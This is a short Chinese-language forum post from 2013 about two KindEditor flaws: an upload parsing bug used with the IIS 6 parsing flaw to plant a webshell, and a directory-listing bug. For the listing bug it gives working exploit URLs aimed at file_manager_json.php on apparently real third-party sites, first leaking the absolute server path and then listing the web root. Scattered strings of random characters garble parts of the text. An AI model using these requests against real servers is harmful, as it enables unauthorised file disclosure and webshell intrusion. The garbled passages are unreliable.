KindEditor上传解析漏洞和列目录漏洞

admin · 发表于 2013-1-23 09:16:19

KindEditor上传解析漏洞影响版本：= kindeditor 3.2.1(09年8月份发布的最新版) 漏洞利用：利用windows 2003 IIS解析漏洞拿WEBSHELL KindEditor列目录漏洞测试版本：KindEditor 3.4.2 KindEditor 3.5.5 1.http://www.political-security.com/67cms/kindeditor/php/file_man/ {9 ?3 Q6 ~( R: j
% `# Z6 V- G: m3 n

KindEditor上传解析漏洞
影响版本：<= kindeditor 3.2.1(09年8月份发布的最新版)
漏洞利用：利用windows 2003 IIS解析漏洞拿WEBSHELL
. D8 t5 `  m  [- b1 K+ \5 b. p

( L* w  [" A2 U$ |. O2 y7 p
KindEditor列目录漏洞
测试版本：KindEditor 3.4.2 KindEditor 3.5.5
http://www.political-security.com/67cms/kindeditor/php/file_manager_json.php?path=/
//path=/，爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php
2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
//根据爆出的绝对路径，修改path的值为AppServ/www/67cms/
这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名
& v3 n* t: A* h  Y

5 B7 h4 O7 \0 c  y6 L8 G* Z, `' g/ f6 b! k0 v
4 V+ H& X( n5 }7 o& Y+ e

1 r- g, q+ y6 h* ]3 y

		自动登录	找回密码
密码			立即注册